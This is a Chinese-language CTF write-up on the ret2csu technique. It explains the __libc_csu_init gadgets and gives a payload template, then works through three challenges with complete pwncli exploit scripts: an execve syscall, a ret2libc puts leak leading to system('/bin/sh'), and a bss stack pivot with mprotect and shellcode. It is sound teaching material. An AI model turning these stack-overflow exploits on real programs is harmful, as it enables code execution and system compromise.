ret2csu


原理

严格来说,ret2csu 是一种特定的漏洞利用手法,主要存在于 64 位程序中。区别于 32 位程序通过栈传递参数,64 位程序的前六个参数通过寄存器传递(rdi, rsi, rdx, rcx, r8, r9)。这导致在某些情况下,我们无法找到足够多的 gadgets 来逐个控制每个寄存器。

这时,我们可以利用程序中的 __libc_csu_init (高版本的gcc编译后已经没有了)函数,该函数主要用于初始化 libc,几乎在所有的程序中都会存在。该函数内含一段万能的 gadgets,可以控制多个寄存器(例如 rbx, rbp, r12, r13, r14, r15 以及 rdi, rsi, rdx)的值,并最终 调用指定地址。因此,当我们劫持程序控制流时,可以跳转到 __libc_csu_init 函数,通过这段万能 gadgets 控制程序的行为。

我们将下面的 gadget 称为 gadget1 优先调用,上面的称为 gadget2 之后调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//gadget2
400710: 4c 89 fa mov rdx, r15
400713: 4c 89 f6 mov rsi, r14
400716: 44 89 ef mov edi, r13d
400719: 41 ff 14 dc call qword ptr [r12 + 8*rbx]
40071d: 48 83 c3 01 add rbx, 0x1
400721: 48 39 dd cmp rbp, rbx
400724: 75 ea jne 0x400710 <__libc_csu_init+0x40>

//gadget1
400726: 48 83 c4 08 add rsp, 0x8
40072a: 5b pop rbx
40072b: 5d pop rbp
40072c: 41 5c pop r12
40072e: 41 5d pop r13
400730: 41 5e pop r14
400732: 41 5f pop r15
400734: c3 ret

这样的话

1
2
3
4
5
r13=rdx=arg3
r14=rsi=arg2
r15=edi=arg1
rbx=0
r12=call address
  • csu 模板:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def csu(addr,edi,rsi,rdx,last):
#用于溢出的padding
payload=off*b'a'
#gadget1
payload+=p64(gadget1)
#rbx=0,rbp=1
payload+=p64(0)+p64(1)
#设置r12寄存器地址,即call调用的地址
payload+=p64(addr)
#参数3、参数2、参数1
#r13、r14、r15
payload+=p64(rdx)+p64(rsi)+p64(edi)
#gadget2
payload+=p64(gadget2)
#pop出的padding
payload+=b'a'*56
#函数最后的返回地址
payload+=p64(last)
return payload

csu模板的使用要分清情况

末尾的 padding('a' * 56)是我们在没有进行jne跳转,程序向下执行到add rsp,0x8的时候这些需要进行栈平衡的数据。

如果我们只需要调用一个函数就不需要添加后面的paddinglast,如果我们还需要调用一个地址就需要添加。

例题

[NewStarCTF 公开赛赛道]ret2csu1

  • 分析

拿到程序,先查保护。

发现开启了NX保护和Partial RELRO保护。

分析程序逻辑。

输出两串字符串,并向栈中写入 0x70 长度的数据。

根据栈大小比较,判断存在栈溢出。

gdb测一下,判断溢出填充长度为 40。

字符串列表,发现/bin/catflag关键字符串,但并没有发现system函数。

函数窗口发现关键函数ohMyBackdoor,判断可能为后门函数。

发现关键汇编指令syscall,以及设置rax值为 0x3b 的mov rax,0x3b指令。

根据题目名称中的 ret2csu 判断为 ret2csu 打法,并且根据将寄存器置为 0x3b 的指令判断是通过 ret2csu 打 syscall。

我们需要通过执行libc_csu_init函数中的 gadget 来设置寄存器值,但是我们只需要调用一个函数,所以我们不需要添加后面的paddinglast

通过csu函数来设置寄存器值,然后调用中断地址进行 getshell。

  • exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

off=40
gadget1=0x40072a
gadget2=0x400710
syscall=0x601068
cat=0x4007bb
flag=0x601050

payload=b'a'*off
payload+=p64(gadget1)+p64(0)+p64(0)+p64(syscall)+p64(cat)+p64(flag)+p64(0)
payload+=p64(gadget2)

sa("it!\n",payload)

ia()

2024极客大挑战 su~~~~

  • 分析

查保护,发现没有canaryPIE保护。

分析代码逻辑。

程序输入一个数字进行菜单选择。

首先我们跟进hint函数查看。

hint函数用于输出了一段字符串。

继续分析writesomething函数。

很明显这里存在溢出,并且溢出了 368 个字节。

接下来我们寻找system函数。

并没有找到system函数,但是找到了puts函数,并且程序还存在csu函数。

到了这里思路已经很清晰了,我们可以通过csu调用puts函数进行 ret2libc。

  • exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

gadget1=0x4008FA
gadget2=0x4008E0
rdi=0x0000000000400903
ret=0x00000000004005d6
off=136

ru("exit.\n")
sl(b"1")

def csu(addr,edi,rsi,rdx,last):
#用于溢出的padding
payload=off*b'a'
#gadget1
payload+=p64(gadget1)
#rbx=0,rbp=1
payload+=p64(0)+p64(1)
#设置r12寄存器地址,即call调用的地址
payload+=p64(addr)
#参数3、参数2、参数1
#r13、r14、r15
payload+=p64(edi)+p64(rsi)+p64(rdx)
#gadget2
payload+=p64(gadget2)
#pop出的padding
payload+=b'a'*56
#函数最后的返回地址
payload+=p64(last)
return payload

payload=csu(elf.got.puts,elf.got.puts,elf.got.puts,8,0x400798)

sl(payload)
addr=u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
print("puts",hex(addr))
base=addr-libc.sym.puts
print("base",hex(base))
sys=base+libc.sym.system
print("sys",hex(sys))
sh=base+next(libc.search("/bin/sh\x00"))
print("sh",hex(sh))

payload=b'a'*off+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
sl(payload)

ia()

[NewStarCTF 公开赛赛道]ret2csu2

  • 分析

查保护,发现没有栈溢出和 PIE 保护。

分析代码逻辑。

两次输出,一次输入。输入长度超过缓冲区大小,判断存在栈溢出。

并且函数都是通过系统调用执行的。

函数窗口发现关键函数

进入查看,发现mprotect函数。

格式化字符串窗口没发现什么有用的东西。

根据题目名称,猜测是要我们打csu,而且存在mprotect函数,所以到这里思路已经很明显了。

我们可以通过read函数读取 rop 链到bss段,之后将栈迁移到bss段执行 rop 链。

  • exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

mprotect_got=elf.got.mprotect
leave_ret=0x400681
gadget1=0x40075A
gadget2=0x400740

# lea rsi, [rbp - 0xf0]
first_ebp=0x601020 + 0xf0
lea_read=0x4006E7

#通过上述 lea 指令设置 rsi 值为 bss 段地址,并且再次执行 read 函数将 rop 链写入 bss 段
payload = b"a"*0xf0 + p64(first_ebp) + p64(lea_read)

ru("Remember to check it!")
s(payload)

#通过 csu 执行 mprotect 函数修改 bss 段内存权限为可读可写可执行
payload2=p64(gadget1)+p64(0)+p64(1)+ p64(mprotect_got)+p64(0x601000)+p64(0x1000)+p64(0x7)+ p64(gadget2)

# asm(shellcraft.sh())长度为0x30
shellcode = asm(shellcraft.sh())

#0x40 为 mrpotect 的 rop 链的长度,0x38 为 a 的长度,0x8 为填充地址的长度,目的是返回到 shellcode
payload2 += b"a"*0x38 + p64(0x601020+0x40+0x38+0x8) + shellcode + b"A"*(0xf0-0x40-0x38-0x8-0x30) + p64(0x601020-0x8) + p64(leave_ret)

sl(payload2)

ia()